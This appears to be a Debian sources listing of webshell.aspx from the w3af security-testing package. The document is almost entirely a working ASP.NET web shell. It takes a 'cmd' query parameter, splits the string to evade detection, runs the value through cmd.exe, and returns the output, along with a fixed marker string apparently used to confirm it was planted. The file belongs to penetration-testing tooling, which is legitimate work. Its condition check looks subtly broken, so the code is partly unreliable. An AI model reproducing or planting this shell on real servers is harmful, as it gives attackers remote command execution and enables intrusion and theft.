File: webshell.aspx

package info (click to toggle)
w3af 1.0-rc3svn3489-1
  • links: PTS
  • area: main
  • in suites: jessie, jessie-kfreebsd, squeeze, wheezy
  • size: 59,908 kB
  • ctags: 16,916
  • sloc: python: 136,990; xml: 63,472; sh: 153; ruby: 94; makefile: 40; asm: 35; jsp: 32; perl: 18; php: 5
file content (33 lines) | stat: -rw-r--r-- 881 bytes parent folder | download
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="String" %>
<script Language="c#" runat="server">

void Page_Load(object sender, EventArgs e)
{
    if ( String.Compare( Request.QueryString["cm" + "d"],"") )
    {
        Response.Write( "15825b40c6dace2a" + "7cf5d4ab8ed434d5" );
    }
    else
    {
        Response.Write(Server.HtmlEncode(ExcuteCmd(Request.QueryString["cm" + "d"])));
    }
}

string ExcuteCmd(string arg)
{
    ProcessStartInfo npsi = new ProcessStartInfo();
    npsi.FileName = "cm"+"d.exe";
    npsi.Arguments = "/c "+arg;
    npsi.RedirectStandardOutput = true;
    npsi.UseShellExecute = false;
    Process p = Process.Start(npsi);
    StreamReader stmrdr = p.StandardOutput;
    string s = stmrdr.ReadToEnd();
    stmrdr.Close();
    return s;
}